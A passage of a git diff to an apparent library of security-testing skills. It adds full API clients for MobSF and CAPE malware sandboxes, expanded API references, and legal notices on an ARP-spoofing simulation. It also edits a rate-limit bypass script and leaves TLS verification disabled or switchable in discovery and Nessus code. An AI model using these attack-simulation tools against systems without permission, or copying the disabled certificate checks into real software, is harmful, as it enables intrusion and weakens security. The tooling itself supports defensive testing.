[]): + findings.append({ + "category": "manifest", + "title": item.get("title", "Unknown"), + "severity": item.get("severity", "info").upper(), + "description": item.get("description", ""), + }) + + # Code analysis + code_analysis = report.get("code_analysis", {}) + if isinstance(code_analysis, dict): + for key, value in code_analysis.items(): + if isinstance(value, dict): + findings.append({ + "category": "code", + "title": value.get("metadata", {}).get("description", key), + "severity": value.get("metadata", {}).get("severity", "info").upper(), + "description": value.get("metadata", {}).get("cwe", ""), + "files": list(value.get("files", {}).keys())[:5], + }) + + # Binary analysis + for item in report.get("binary_analysis", []): + findings.append({ + "category": "binary", + "title": item.get("name", "Unknown"), + "severity": item.get("severity", "info").upper(), + "description": item.get("description", ""), + }) + + # Certificate analysis + cert_info = report.get("certificate_analysis", {}) + if isinstance(cert_info, dict): + cert_findings = cert_info.get("certificate_findings", []) + for item in cert_findings: + findings.append({ + "category": "certificate", + "title": item.get("title", "Certificate finding"), + "severity": item.get("severity", "info").upper(), + "description": item.get("description", ""), + }) + + # Permissions + permissions = report.get("permissions", {}) + dangerous_perms = [] + if isinstance(permissions, dict): + for perm, details in permissions.items(): + if isinstance(details, dict) and details.get("status") == "dangerous": + dangerous_perms.append(perm) + if dangerous_perms: + findings.append({ + "category": "permissions", + "title": f"{len(dangerous_perms)} dangerous permissions declared", + "severity": "WARNING", + "description": ", ".join(dangerous_perms[:10]), + }) + return findings -def analyze_results(target, token=None): - findings = [] - if not requests: return [] - headers = {"Authorization": f"Bearer {token}"} if token else {} - try: - resp = requests.get(f"{target}/api/v1/results", headers=headers, timeout=15) - if resp.status_code == 200: - data = resp.json() - for item in data.get("findings", data.get("results", [])): - severity = item.get("severity", item.get("risk", "MEDIUM")) - findings.append({"check": item.get("name", item.get("title", "unknown")), - "severity": severity.upper() if isinstance(severity, str) else "MEDIUM"}) - except requests.RequestException: - pass - return findings + +def format_summary(report, findings): + """Print a human-readable summary of the analysis.""" + app_name = report.get("app_name", "Unknown") + package = report.get("package_name", "Unknown") + version = report.get("version_name", "Unknown") + sdk_min = report.get("min_sdk", "?") + sdk_target = report.get("target_sdk", "?") + security_score = report.get("security_score", "N/A") + + print(f"\n{'='*60}") + print(f" MobSF Static Analysis Report") + print(f"{'='*60}") + print(f" App Name : {app_name}") + print(f" Package : {package}") + print(f" Version : {version}") + print(f" Min SDK : {sdk_min} | Target SDK: {sdk_target}") + print(f" Security : {security_score}/100") + print(f"{'='*60}") + + severity_counts = {} + for f in findings: + sev = f.get("severity", "INFO") + severity_counts[sev] = severity_counts.get(sev, 0) + 1 + + print(f"\n Findings Summary:") + for sev in ["CRITICAL", "HIGH", "WARNING", "MEDIUM", "INFO", "LOW"]: + if sev in severity_counts: + print(f" {sev:10s}: {severity_counts[sev]}") + + print(f"\n Top Findings:") + high_findings = [f for f in findings if f.get("severity") in ("CRITICAL", "HIGH", "WARNING")] + for f in high_findings[:10]: + print(f" [{f['severity']:8s}] [{f['category']:12s}] {f['title']}") + + return severity_counts + def main(): - p = argparse.ArgumentParser(description="MobSF Android static analysis agent") - p.add_argument("--target", required=True, help="Target URL or IP") - p.add_argument("--token", help="API token") - p.add_argument("--output", "-o", help="Output JSON report") - p.add_argument("--verbose", "-v", action="store_true") - a = p.parse_args() - print("[*] MobSF Android static analysis agent") - report = {"timestamp": datetime.now(timezone.utc).isoformat(), "target": a.target, "findings": []} - report["findings"].extend(run_scan(a.target, a.token)) - report["findings"].extend(analyze_results(a.target, a.token)) - high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) - report["risk_level"] = "CRITICAL" if high > 2 else "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" - print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") - if a.output: - with open(a.output, "w") as f: json.dump(report, f, indent=2) + parser = argparse.ArgumentParser( + description="MobSF Android static analysis agent - upload, scan, and report" + ) + parser.add_argument("--apk", required=True, help="Path to the APK file to analyze") + parser.add_argument("--output", "-o", help="Output JSON report path") + parser.add_argument("--server", help="MobSF server URL (or set MOBSF_URL env var)") + parser.add_argument("--api-key", help="MobSF API key (or set MOBSF_API_KEY env var)") + parser.add_argument("--hash", help="Skip upload; use existing hash to retrieve report") + parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output") + args = parser.parse_args() + + if args.server: + os.environ["MOBSF_URL"] = args.server + if args.api_key: + os.environ["MOBSF_API_KEY"] = args.api_key + + server, api_key = get_mobsf_config() + + if args.hash: + file_hash = args.hash + print(f"[*] Using existing hash: {file_hash}") else: - print(json.dumps(report, indent=2)) + file_hash, scan_type, file_name = upload_apk(server, api_key, args.apk) + start_scan(server, api_key, file_hash, scan_type, file_name) + + report = get_report(server, api_key, file_hash) + findings = extract_findings(report) + severity_counts = format_summary(report, findings) + + output_report = { + "timestamp": datetime.now(timezone.utc).isoformat(), + "tool": "MobSF", + "apk": args.apk, + "app_name": report.get("app_name", ""), + "package_name": report.get("package_name", ""), + "version": report.get("version_name", ""), + "security_score": report.get("security_score", 0), + "severity_counts": severity_counts, + "findings": findings, + "risk_level": ( + "CRITICAL" if severity_counts.get("CRITICAL", 0) > 0 + else "HIGH" if severity_counts.get("HIGH", 0) > 0 + else "MEDIUM" if severity_counts.get("WARNING", 0) > 0 + else "LOW" + ), + } + + if args.output: + with open(args.output, "w") as f: + json.dump(output_report, f, indent=2) + print(f"\n[+] Report saved to {args.output}") + elif args.verbose: + print(json.dumps(output_report, indent=2)) + + print(f"\n[*] Risk Level: {output_report['risk_level']}") + if __name__ == "__main__": main() diff --git a/skills/performing-api-fuzzing-with-restler/scripts/agent.py b/skills/performing-api-fuzzing-with-restler/scripts/agent.py index e27d0c34..9b6bb7f4 100644 --- a/skills/performing-api-fuzzing-with-restler/scripts/agent.py +++ b/skills/performing-api-fuzzing-with-restler/scripts/agent.py @@ -3,7 +3,6 @@ """RESTler API fuzzing orchestration and result analysis agent.""" import json -import sys import argparse import subprocess import os diff --git a/skills/performing-api-inventory-and-discovery/SKILL.md b/skills/performing-api-inventory-and-discovery/SKILL.md index de7dd3c6..7792a426 100644 --- a/skills/performing-api-inventory-and-discovery/SKILL.md +++ b/skills/performing-api-inventory-and-discovery/SKILL.md @@ -163,7 +163,7 @@ def discover_api_endpoints(base_domains): url = f"{scheme}://{domain}{path}" try: resp = requests.get(url, timeout=5, allow_redirects=False, - verify=False) + verify=False) # TLS verification disabled for discovery; enable in production if resp.status_code not in (404, 502, 503): return { "url": url, diff --git a/skills/performing-api-inventory-and-discovery/scripts/agent.py b/skills/performing-api-inventory-and-discovery/scripts/agent.py index fe374a0e..f15c025e 100644 --- a/skills/performing-api-inventory-and-discovery/scripts/agent.py +++ b/skills/performing-api-inventory-and-discovery/scripts/agent.py @@ -8,7 +8,6 @@ import argparse import re import subprocess from datetime import datetime -from collections import defaultdict try: import requests diff --git a/skills/performing-api-rate-limiting-bypass/scripts/agent.py b/skills/performing-api-rate-limiting-bypass/scripts/agent.py index f922ec57..c7067c95 100644 --- a/skills/performing-api-rate-limiting-bypass/scripts/agent.py +++ b/skills/performing-api-rate-limiting-bypass/scripts/agent.py @@ -5,7 +5,6 @@ import json import sys import argparse -import time from datetime import datetime try: @@ -172,7 +171,7 @@ def test_path_bypass(url, auth_header=None): def test_encoding_bypass(url, auth_header=None): """Test rate limit bypass via parameter encoding variations.""" - from urllib.parse import urlparse, parse_qs, urlencode + from urllib.parse import urlparse, parse_qs parsed = urlparse(url) params = parse_qs(parsed.query) findings = [] diff --git a/skills/performing-api-security-testing-with-postman/scripts/agent.py b/skills/performing-api-security-testing-with-postman/scripts/agent.py index fa8f8285..204822cb 100644 --- a/skills/performing-api-security-testing-with-postman/scripts/agent.py +++ b/skills/performing-api-security-testing-with-postman/scripts/agent.py @@ -3,7 +3,6 @@ """Postman API security testing orchestration agent using Newman CLI.""" import json -import sys import argparse import subprocess import os diff --git a/skills/performing-arp-spoofing-attack-simulation/SKILL.md b/skills/performing-arp-spoofing-attack-simulation/SKILL.md index e7fdf0b1..804a7310 100644 --- a/skills/performing-arp-spoofing-attack-simulation/SKILL.md +++ b/skills/performing-arp-spoofing-attack-simulation/SKILL.md @@ -32,6 +32,9 @@ license: Apache-2.0 - Wireshark or tcpdump for capturing traffic to verify interception - Isolated lab environment or approved production test window + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## Workflow ### Step 1: Enumerate the Target Network Segment diff --git a/skills/performing-arp-spoofing-attack-simulation/scripts/agent.py b/skills/performing-arp-spoofing-attack-simulation/scripts/agent.py index 2f6a2155..6523e3be 100644 --- a/skills/performing-arp-spoofing-attack-simulation/scripts/agent.py +++ b/skills/performing-arp-spoofing-attack-simulation/scripts/agent.py @@ -1,4 +1,7 @@ #!/usr/bin/env python3 +# For authorized penetration testing and educational environments only. +# Usage against targets without prior mutual consent is illegal. +# It is the end user's responsibility to obey all applicable local, state and federal laws. """ ARP Spoofing Attack Simulation Agent — AUTHORIZED TESTING ONLY Simulates ARP spoofing attacks using Scapy in controlled lab environments @@ -7,12 +10,11 @@ to test network detection capabilities and validate DAI countermeasures. WARNING: Only use with explicit written authorization on isolated test networks. """ -import json import sys import time from datetime import datetime, timezone -from scapy.all import ARP, Ether, sendp, srp, conf, get_if_list, get_if_hwaddr +from scapy.all import ARP, Ether, sendp, srp, get_if_hwaddr def get_mac(ip: str, iface: str) -> str: diff --git a/skills/performing-asset-criticality-scoring-for-vulns/SKILL.md b/skills/performing-asset-criticality-scoring-for-vulns/SKILL.md index 3281c8ad..3c07133a 100644 --- a/skills/performing-asset-criticality-scoring-for-vulns/SKILL.md +++ b/skills/performing-asset-criticality-scoring-for-vulns/SKILL.md @@ -53,7 +53,7 @@ Asset criticality scoring assigns a business impact rating to each IT asset so t | 2 | Semi-public | Marketing materials, press releases (draft) | | 1 | Public | Published content, public APIs | -## Implementation Steps +## Workflow ### Step 1: Define Scoring Criteria diff --git a/skills/performing-asset-criticality-scoring-for-vulns/scripts/agent.py b/skills/performing-asset-criticality-scoring-for-vulns/scripts/agent.py index 22517df4..da38530d 100644 --- a/skills/performing-asset-criticality-scoring-for-vulns/scripts/agent.py +++ b/skills/performing-asset-criticality-scoring-for-vulns/scripts/agent.py @@ -2,7 +2,6 @@ """Asset criticality scoring agent for vulnerability prioritization.""" import json -import sys import argparse import csv from datetime import datetime diff --git a/skills/performing-authenticated-scan-with-openvas/scripts/agent.py b/skills/performing-authenticated-scan-with-openvas/scripts/agent.py index 6607f627..d30ae264 100644 --- a/skills/performing-authenticated-scan-with-openvas/scripts/agent.py +++ b/skills/performing-authenticated-scan-with-openvas/scripts/agent.py @@ -2,9 +2,7 @@ """OpenVAS/GVM authenticated vulnerability scan orchestration agent.""" import json -import sys import argparse -import subprocess import xml.etree.ElementTree as ET from datetime import datetime diff --git a/skills/performing-authenticated-vulnerability-scan/SKILL.md b/skills/performing-authenticated-vulnerability-scan/SKILL.md index 6ddddd48..87dab3e3 100644 --- a/skills/performing-authenticated-vulnerability-scan/SKILL.md +++ b/skills/performing-authenticated-vulnerability-scan/SKILL.md @@ -56,7 +56,7 @@ Authenticated scanning resolves these by directly querying the target OS. - **PostgreSQL**: Role-based authentication - **MySQL**: User/password with SELECT privileges -## Implementation Steps +## Workflow ### Step 1: Create Dedicated Service Accounts diff --git a/skills/performing-authenticated-vulnerability-scan/scripts/agent.py b/skills/performing-authenticated-vulnerability-scan/scripts/agent.py index 427d9e17..59966827 100644 --- a/skills/performing-authenticated-vulnerability-scan/scripts/agent.py +++ b/skills/performing-authenticated-vulnerability-scan/scripts/agent.py @@ -2,9 +2,9 @@ """Authenticated vulnerability scan orchestration agent using Nessus API.""" import json +import os import sys import argparse -import time from datetime import datetime try: @@ -28,13 +28,15 @@ class NessusClient: def _get(self, path, params=None): resp = requests.get(f"{self.base_url}{path}", headers=self.headers, - params=params, verify=False, timeout=30) + params=params, + verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", timeout=30) # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments resp.raise_for_status() return resp.json() def _post(self, path, data=None): resp = requests.post(f"{self.base_url}{path}", headers=self.headers, - json=data, verify=False, timeout=30) + json=data, + verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", timeout=30) # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments resp.raise_for_status() return resp.json() diff --git a/skills/performing-automated-malware-analysis-with-cape/SKILL.md b/skills/performing-automated-malware-analysis-with-cape/SKILL.md index bf31bfac..6c9e9aa0 100644 --- a/skills/performing-automated-malware-analysis-with-cape/SKILL.md +++ b/skills/performing-automated-malware-analysis-with-cape/SKILL.md @@ -22,7 +22,7 @@ CAPE (Config And Payload Extraction) is an open-source malware sandbox derived f - Python 3.9+ with CAPEv2 dependencies - Network configuration for isolated analysis network -## Practical Steps +## Workflow ### Step 1: Submit and Analyze Samples via API diff --git a/skills/performing-automated-malware-analysis-with-cape/references/api-reference.md b/skills/performing-automated-malware-analysis-with-cape/references/api-reference.md index ffc55b33..54c85d41 100644 --- a/skills/performing-automated-malware-analysis-with-cape/references/api-reference.md +++ b/skills/performing-automated-malware-analysis-with-cape/references/api-reference.md @@ -1,27 +1,204 @@ -# API Reference: CAPE sandbox malware analysis agent +# API Reference: CAPE Sandbox Automated Malware Analysis -## API Details -CAPE API: POST /apiv2/tasks/create/file, GET /apiv2/tasks/view/{id}, GET /apiv2/tasks/report/{id} +## Libraries Used + +| Library | Purpose | +|---------|---------| +| `requests` | HTTP client for CAPE REST API v2 | +| `json` | Parse analysis reports and task metadata | +| `os` | Read `CAPE_URL` and `CAPE_API_KEY` environment variables | +| `time` | Poll task status until analysis completes | ## Installation + ```bash pip install requests ``` -## Libraries - -| Library | Use | -|---------|-----| -| `requests` | requests | - ## Authentication -| Method | Header | -|--------|--------| -| Bearer Token | `Authorization: Bearer ` | -| API Key | `X-API-Key: ` | +```python +import requests +import os + +CAPE_URL = os.environ.get("CAPE_URL", "http://cape.example.com:8000") +CAPE_KEY = os.environ.get("CAPE_API_KEY", "") +headers = {"Authorization": f"Token {CAPE_KEY}"} if CAPE_KEY else {} +``` + +## REST API v2 Endpoints + +| Method | Endpoint | Description | +|--------|----------|-------------| +| POST | `/apiv2/tasks/create/file/` | Submit a file for analysis | +| POST | `/apiv2/tasks/create/url/` | Submit a URL for analysis | +| GET | `/apiv2/tasks/list/` | List all analysis tasks | +| GET | `/apiv2/tasks/view/{id}/` | Get task status and metadata | +| GET | `/apiv2/tasks/report/{id}/` | Get full analysis report | +| GET | `/apiv2/tasks/report/{id}/lite/` | Get lightweight report | +| DELETE | `/apiv2/tasks/delete/{id}/` | Delete a task and its data | +| GET | `/apiv2/tasks/screenshots/{id}/` | Get analysis screenshots | +| GET | `/apiv2/tasks/procmemory/{id}/` | Get process memory dumps | +| GET | `/apiv2/files/view/sha256/{hash}/` | Look up file by SHA-256 | +| GET | `/apiv2/files/get/{sha256}/` | Download the sample binary | +| GET | `/apiv2/pcap/get/{id}/` | Download PCAP network capture | +| GET | `/apiv2/machines/list/` | List analysis VMs | +| GET | `/apiv2/cuckoo/status/` | Server status and version | + +## Core Operations + +### Submit a File for Analysis +```python +def submit_file(file_path, timeout_mins=5, machine=None): + files = {"file": open(file_path, "rb")} + data = { + "timeout": timeout_mins * 60, + "enforce_timeout": True, + "options": "procmemdump=yes,import_reconstruction=yes", + } + if machine: + data["machine"] = machine + + resp = requests.post( + f"{CAPE_URL}/apiv2/tasks/create/file/", + files=files, + data=data, + headers=headers, + timeout=60, + ) + resp.raise_for_status() + result = resp.json() + return result["data"]["task_ids"][0] +``` + +### Submit a URL for Analysis +```python +def submit_url(url, timeout_mins=3): + resp = requests.post( + f"{CAPE_URL}/apiv2/tasks/create/url/", + data={ + "url": url, + "timeout": timeout_mins * 60, + "options": "procmemdump=yes", + }, + headers=headers, + timeout=30, + ) + resp.raise_for_status() + return resp.json()["data"]["task_ids"][0] +``` + +### Poll Task Until Complete +```python +import time + +def wait_for_task(task_id, poll_interval=30, max_wait=600): + elapsed = 0 + while elapsed < max_wait: + resp = requests.get( + f"{CAPE_URL}/apiv2/tasks/view/{task_id}/", + headers=headers, + timeout=30, + ) + status = resp.json()["data"]["status"] + if status == "reported": + return True + if status in ("failed_analysis", "failed_processing"): + raise RuntimeError(f"Task {task_id} failed: {status}") + time.sleep(poll_interval) + elapsed += poll_interval + raise TimeoutError(f"Task {task_id} did not complete within {max_wait}s") +``` + +### Retrieve Analysis Report +```python +def get_report(task_id, lite=False): + endpoint = "lite" if lite else "" + resp = requests.get( + f"{CAPE_URL}/apiv2/tasks/report/{task_id}/{endpoint}", + headers=headers, + timeout=120, + ) + resp.raise_for_status() + return resp.json() +``` + +### Extract Key Findings from Report +```python +def extract_findings(report): + info = report.get("info", {}) + findings = { + "score": info.get("score", 0), + "duration": info.get("duration", 0), + "signatures": [], + "network_iocs": {"domains": [], "ips": [], "urls": []}, + "dropped_files": [], + "yara_matches": [], + } + + # Behavioral signatures + for sig in report.get("signatures", []): + findings["signatures"].append({ + "name": sig["name"], + "severity": sig["severity"], + "description": sig["description"], + }) + + # Network IOCs + network = report.get("network", {}) + findings["network_iocs"]["domains"] = [ + d["domain"] for d in network.get("domains", []) + ] + findings["network_iocs"]["ips"] = [ + h["ip"] for h in network.get("hosts", []) + ] + + # YARA matches + for target_yara in report.get("target", {}).get("file", {}).get("yara", []): + findings["yara_matches"].append(target_yara["name"]) + + return findings +``` + +### Download Network PCAP +```python +def download_pcap(task_id, output_path): + resp = requests.get( + f"{CAPE_URL}/apiv2/pcap/get/{task_id}/", + headers=headers, + timeout=60, + ) + resp.raise_for_status() + with open(output_path, "wb") as f: + f.write(resp.content) +``` ## Output Format + ```json -{"timestamp": "ISO-8601", "target": "URL", "findings": [], "risk_level": "HIGH"} +{ + "info": { + "id": 42, + "score": 8.5, + "duration": 120, + "machine": {"name": "win10-01", "label": "win10-01"}, + "started": "2025-01-15T10:30:00", + "ended": "2025-01-15T10:32:00" + }, + "signatures": [ + {"name": "ransomware_bcdedit", "severity": 5, "description": "Modifies boot configuration"}, + {"name": "creates_exe", "severity": 3, "description": "Creates executable files on disk"} + ], + "network": { + "hosts": [{"ip": "198.51.100.42", "country": "US"}], + "domains": [{"domain": "c2.evil.example.com", "ip": "198.51.100.42"}] + }, + "target": { + "file": { + "name": "sample.exe", + "size": 245760, + "sha256": "a1b2c3d4e5f6..." + } + } +} ``` diff --git a/skills/performing-automated-malware-analysis-with-cape/scripts/agent.py b/skills/performing-automated-malware-analysis-with-cape/scripts/agent.py index f438122f..1ded7223 100644 --- a/skills/performing-automated-malware-analysis-with-cape/scripts/agent.py +++ b/skills/performing-automated-malware-analysis-with-cape/scripts/agent.py @@ -1,60 +1,288 @@ #!/usr/bin/env python3 -"""CAPE sandbox malware analysis agent.""" -import argparse, json, sys +"""CAPE Sandbox automated malware analysis agent. + +Submits malware samples to a CAPE Sandbox instance via its REST API, +polls for analysis completion, and retrieves behavioral reports including +process trees, network activity, dropped files, and extracted configs. +""" +import argparse +import json +import os +import sys +import time from datetime import datetime, timezone + try: import requests except ImportError: - requests = None + print("[!] 'requests' library required: pip install requests", file=sys.stderr) + sys.exit(1) -def run_scan(target, token=None): - findings = [] - if not requests: return [{"error": "requests required"}] - headers = {"Authorization": f"Bearer {token}"} if token else {} - try: - resp = requests.get(f"{target}", headers=headers, timeout=15) - if resp.status_code == 200: - findings.append({"check": "Target Accessible", "status": "OK", "severity": "INFO"}) - else: - findings.append({"check": "Target Access", "status": f"HTTP {resp.status_code}", "severity": "MEDIUM"}) - except requests.RequestException as e: - findings.append({"error": str(e)}) - return findings -def analyze_results(target, token=None): - findings = [] - if not requests: return [] - headers = {"Authorization": f"Bearer {token}"} if token else {} - try: - resp = requests.get(f"{target}/api/v1/results", headers=headers, timeout=15) - if resp.status_code == 200: +def get_cape_config(): + """Return CAPE server URL and optional API token.""" + server = os.environ.get("CAPE_URL", "http://localhost:8090") + token = os.environ.get("CAPE_API_TOKEN", "") + return server.rstrip("/"), token + + +def submit_file(server, token, file_path, timeout_minutes=5, machine=None): + """Submit a file to CAPE for analysis.""" + url = f"{server}/apiv2/tasks/create/file/" + headers = {"Authorization": f"Token {token}"} if token else {} + if not os.path.isfile(file_path): + print(f"[!] File not found: {file_path}", file=sys.stderr) + sys.exit(1) + data = {"timeout": timeout_minutes * 60} + if machine: + data["machine"] = machine + print(f"[*] Submitting {os.path.basename(file_path)} to CAPE...") + with open(file_path, "rb") as f: + resp = requests.post( + url, + files={"file": (os.path.basename(file_path), f)}, + data=data, + headers=headers, + timeout=120, + ) + resp.raise_for_status() + result = resp.json() + if result.get("error"): + print(f"[!] Submission error: {result.get('error_value', result['error'])}", file=sys.stderr) + sys.exit(1) + task_id = result.get("data", {}).get("task_ids", [None])[0] + if not task_id: + task_id = result.get("task_id") or result.get("data", {}).get("task_id") + print(f"[+] Submitted successfully, task ID: {task_id}") + return task_id + + +def submit_url(server, token, target_url, timeout_minutes=5): + """Submit a URL to CAPE for analysis.""" + url = f"{server}/apiv2/tasks/create/url/" + headers = {"Authorization": f"Token {token}"} if token else {} + data = {"url": target_url, "timeout": timeout_minutes * 60} + print(f"[*] Submitting URL: {target_url}") + resp = requests.post(url, data=data, headers=headers, timeout=60) + resp.raise_for_status() + result = resp.json() + task_id = result.get("data", {}).get("task_ids", [None])[0] + if not task_id: + task_id = result.get("task_id") + print(f"[+] Submitted, task ID: {task_id}") + return task_id + + +def poll_task_status(server, token, task_id, max_wait=600, interval=15): + """Poll CAPE until the analysis task completes or times out.""" + url = f"{server}/apiv2/tasks/status/{task_id}/" + headers = {"Authorization": f"Token {token}"} if token else {} + print(f"[*] Waiting for analysis to complete (max {max_wait}s)...") + elapsed = 0 + while elapsed < max_wait: + try: + resp = requests.get(url, headers=headers, timeout=30) + resp.raise_for_status() data = resp.json() - for item in data.get("findings", data.get("results", [])): - severity = item.get("severity", item.get("risk", "MEDIUM")) - findings.append({"check": item.get("name", item.get("title", "unknown")), - "severity": severity.upper() if isinstance(severity, str) else "MEDIUM"}) - except requests.RequestException: - pass + status = data.get("data", data.get("status", "unknown")) + if isinstance(status, dict): + status = status.get("status", "unknown") + if status in ("reported", "completed"): + print(f"[+] Analysis complete (status: {status})") + return True + if status in ("failed_analysis", "failed_processing"): + print(f"[!] Analysis failed: {status}", file=sys.stderr) + return False + print(f" Status: {status} ({elapsed}s elapsed)") + except requests.RequestException as e: + print(f" Connection error: {e}") + time.sleep(interval) + elapsed += interval + print("[!] Timed out waiting for analysis", file=sys.stderr) + return False + + +def get_report(server, token, task_id): + """Retrieve the full analysis report for a completed task.""" + url = f"{server}/apiv2/tasks/get/report/{task_id}/" + headers = {"Authorization": f"Token {token}"} if token else {} + resp = requests.get(url, headers=headers, timeout=120) + resp.raise_for_status() + return resp.json() + + +def extract_findings(report): + """Extract structured findings from CAPE report.""" + findings = [] + + # Signatures (behavioral detections) + for sig in report.get("signatures", []): + findings.append({ + "category": "signature", + "name": sig.get("name", "Unknown"), + "severity": sig.get("severity", 0), + "description": sig.get("description", ""), + "families": sig.get("families", []), + "ttp": sig.get("ttp", {}), + }) + + # Network IOCs + network = report.get("network", {}) + for dns_entry in network.get("dns", []): + findings.append({ + "category": "network_dns", + "request": dns_entry.get("request", ""), + "type": dns_entry.get("type", ""), + "answers": [a.get("data", "") for a in dns_entry.get("answers", [])], + }) + for http_entry in network.get("http", []): + findings.append({ + "category": "network_http", + "method": http_entry.get("method", ""), + "uri": http_entry.get("uri", ""), + "host": http_entry.get("host", ""), + "port": http_entry.get("port", 80), + }) + + # Dropped files + for dropped in report.get("dropped", []): + findings.append({ + "category": "dropped_file", + "name": dropped.get("name", ""), + "path": dropped.get("filepath", ""), + "type": dropped.get("type", ""), + "size": dropped.get("size", 0), + "sha256": dropped.get("sha256", ""), + }) + + # CAPE extracted payloads and configs + cape_data = report.get("CAPE", {}) + if isinstance(cape_data, dict): + for cape_item in cape_data.get("payloads", []): + findings.append({ + "category": "cape_payload", + "name": cape_item.get("name", ""), + "module": cape_item.get("module_path", ""), + "sha256": cape_item.get("sha256", ""), + "cape_type": cape_item.get("cape_type", ""), + }) + for config in cape_data.get("configs", []): + findings.append({ + "category": "cape_config", + "family": config.get("family", "unknown"), + "config_data": config, + }) + return findings + +def format_summary(report, findings): + """Print human-readable analysis summary.""" + info = report.get("info", {}) + target = report.get("target", {}) + score = report.get("malscore", info.get("score", 0)) + + print(f"\n{'='*60}") + print(f" CAPE Sandbox Analysis Report") + print(f"{'='*60}") + print(f" Task ID : {info.get('id', 'N/A')}") + print(f" Duration : {info.get('duration', 0)}s") + print(f" Malscore : {score}/10") + + file_info = target.get("file", {}) + if file_info: + print(f" File : {file_info.get('name', 'N/A')}") + print(f" SHA256 : {file_info.get('sha256', 'N/A')}") + print(f" Type : {file_info.get('type', 'N/A')}") + + sig_findings = [f for f in findings if f["category"] == "signature"] + net_dns = [f for f in findings if f["category"] == "network_dns"] + net_http = [f for f in findings if f["category"] == "network_http"] + dropped = [f for f in findings if f["category"] == "dropped_file"] + configs = [f for f in findings if f["category"] == "cape_config"] + + print(f"\n Signatures : {len(sig_findings)}") + print(f" DNS Queries : {len(net_dns)}") + print(f" HTTP Reqs : {len(net_http)}") + print(f" Dropped : {len(dropped)}") + print(f" CAPE Configs: {len(configs)}") + + if sig_findings: + print(f"\n Top Signatures:") + for s in sorted(sig_findings, key=lambda x: x.get("severity", 0), reverse=True)[:10]: + sev = s.get("severity", 0) + label = "HIGH" if sev >= 3 else "MEDIUM" if sev >= 2 else "LOW" + print(f" [{label:6s}] {s['name']}: {s['description'][:80]}") + + if configs: + print(f"\n Extracted Configs:") + for c in configs: + print(f" Family: {c.get('family', 'unknown')}") + + return score + + def main(): - p = argparse.ArgumentParser(description="CAPE sandbox malware analysis agent") - p.add_argument("--target", required=True, help="Target URL or IP") - p.add_argument("--token", help="API token") - p.add_argument("--output", "-o", help="Output JSON report") - p.add_argument("--verbose", "-v", action="store_true") - a = p.parse_args() - print("[*] CAPE sandbox malware analysis agent") - report = {"timestamp": datetime.now(timezone.utc).isoformat(), "target": a.target, "findings": []} - report["findings"].extend(run_scan(a.target, a.token)) - report["findings"].extend(analyze_results(a.target, a.token)) - high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) - report["risk_level"] = "CRITICAL" if high > 2 else "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" - print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") - if a.output: - with open(a.output, "w") as f: json.dump(report, f, indent=2) + parser = argparse.ArgumentParser( + description="CAPE Sandbox malware analysis agent" + ) + group = parser.add_mutually_exclusive_group(required=True) + group.add_argument("--file", help="Path to malware sample to submit") + group.add_argument("--url", help="URL to submit for analysis") + group.add_argument("--task-id", type=int, help="Retrieve report for existing task") + parser.add_argument("--output", "-o", help="Output JSON report path") + parser.add_argument("--server", help="CAPE server URL (or set CAPE_URL env var)") + parser.add_argument("--token", help="API token (or set CAPE_API_TOKEN env var)") + parser.add_argument("--machine", help="Specific VM to use for analysis") + parser.add_argument("--timeout", type=int, default=5, help="Analysis timeout in minutes") + parser.add_argument("--wait", type=int, default=600, help="Max seconds to wait for completion") + parser.add_argument("--verbose", "-v", action="store_true") + args = parser.parse_args() + + if args.server: + os.environ["CAPE_URL"] = args.server + if args.token: + os.environ["CAPE_API_TOKEN"] = args.token + + server, token = get_cape_config() + + if args.task_id: + task_id = args.task_id + elif args.file: + task_id = submit_file(server, token, args.file, args.timeout, args.machine) else: - print(json.dumps(report, indent=2)) + task_id = submit_url(server, token, args.url, args.timeout) + + if not args.task_id: + if not poll_task_status(server, token, task_id, args.wait): + sys.exit(1) + + report = get_report(server, token, task_id) + findings = extract_findings(report) + score = format_summary(report, findings) + + output_report = { + "timestamp": datetime.now(timezone.utc).isoformat(), + "tool": "CAPE Sandbox", + "task_id": task_id, + "malscore": score, + "findings_count": len(findings), + "findings": findings, + "risk_level": ( + "CRITICAL" if score >= 8 + else "HIGH" if score >= 5 + else "MEDIUM" if score >= 3 + else "LOW" + ), + } + + if args.output: + with open(args.output, "w") as f: + json.dump(output_report, f, indent=2) + print(f"\n[+] Report saved to {args.output}") + elif args.verbose: + print(json.dumps(output_report, indent=2)) + if __name__ == "__main__": main() diff --git a/skills/performing-aws-account-enumeration-with-scout-suite/references/api-reference.md b/skills/performing-aws-account-enumeration-with-scout-suite/references/api-reference.md index 92ee84a4..f6800e08 100644 --- a/skills/performing-aws-account-enumeration-with-scout-suite/references/api-reference.md +++ b/skills/performing-aws-account-enumeration-with-scout-suite/references/api-reference.md @@ -1,28 +1,177 @@ -# API Reference: AWS Scout Suite security audit agent +# API Reference: AWS Account Enumeration with Scout Suite -## API Details -scout --provider aws --report-dir output, boto3.client('iam'), finding analysis +## Libraries Used + +| Library | Purpose | +|---------|---------| +| `subprocess` | Execute Scout Suite CLI scans | +| `json` | Parse Scout Suite JSON report output | +| `boto3` | AWS SDK for supplementary API calls | +| `os` | Read AWS credentials from environment | ## Installation + ```bash -pip install boto3 subprocess +pip install scoutsuite boto3 + +# Or from source +git clone https://github.com/nccgroup/ScoutSuite +cd ScoutSuite +pip install -r requirements.txt +python scout.py --help ``` -## Libraries - -| Library | Use | -|---------|-----| -| `boto3` | boto3 | -| `subprocess` | subprocess | - ## Authentication -| Method | Header | -|--------|--------| -| Bearer Token | `Authorization: Bearer ` | -| API Key | `X-API-Key: ` | +Scout Suite uses standard AWS credential chain: + +```python +import os + +# Option 1: Environment variables +os.environ["AWS_ACCESS_KEY_ID"] = "AKIA..." +os.environ["AWS_SECRET_ACCESS_KEY"] = "..." 